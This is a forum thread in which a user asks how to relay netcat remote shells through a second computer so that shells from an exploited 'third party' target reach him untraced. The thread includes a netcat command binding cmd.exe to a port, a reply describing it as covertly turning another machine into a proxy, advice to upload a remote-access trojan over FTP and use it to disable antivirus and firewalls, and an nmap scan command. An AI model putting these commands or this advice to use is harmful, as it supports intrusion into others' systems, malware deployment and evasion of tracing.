redirecting shells with netcat...

No explicit questions like "how do I hack xxx.com" please!
Post Reply
User avatar
slipparse
On the way to fame!
On the way to fame!
Posts: 31
Joined: 11 Jul 2005, 16:00
18

redirecting shells with netcat...

Post by slipparse »

Im trying to send exploits thru a second pc with the well-known application called netcat. I'll give a brief intro before I describe my actual problem.

1. I open a shell on the second pc with this command [nc.exe -l -p 500 -d -e cmd.exe]
2. then I receive this shell on my main computer [nc.exe 192.168.1.152 500]
3. now I can execute commands remotely... so far no problem.

Now I would like to redirect the shells I receive on the second computer to the first one after Ive sent my exploit to a third party.

Situation:
(1) me ---> (2) second computer: sends exploit to --> (3) target: third party.

shell needs to go from (3) to (1) over a different port of my choice.

Can I do this with netcat by opening several sessions in the same time? If so, which commands do I need to use?

Other alternative methods that can help me are welcome also offcourse :)

User avatar
slipparse
On the way to fame!
On the way to fame!
Posts: 31
Joined: 11 Jul 2005, 16:00
18

Post by slipparse »

ow yeah I forgot to mention Im on a windows platform :)

p99
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 291
Joined: 14 Oct 2006, 16:00
17
Location: Some hippy's van
Contact:

Post by p99 »

Well i'm a bit confused as to what you mean...
But you could use telnet or ssh(putty ftw) to route the commands. Kind of set a system somewhat like Tor.

User avatar
Gogeta70
^_^
^_^
Posts: 3275
Joined: 25 Jun 2005, 16:00
18

Post by Gogeta70 »

I think he wants to basically use another computer as a proxy, so he can't be traced... And he's trying to make a computer become a proxy involuntarily...
¯\_(ツ)_/¯ It works on my machine...

User avatar
doodle
Newbie
Newbie
Posts: 5
Joined: 14 Oct 2006, 16:00
17

try

Post by doodle »

try socat

User avatar
njzillest
Newbie
Newbie
Posts: 2
Joined: 02 Nov 2006, 17:00
17

Post by njzillest »

if u have shell, use FTP to send over a RAT and youll have more controll.

Another solution is, Yous their telnet/ssh to tunnel through their computers. You might need the RAT to disable virus scanners/ firewalls that may be redirecting or blocking ports..

Report a portscan using nmap. nmap -sS -O ipadress

Post Reply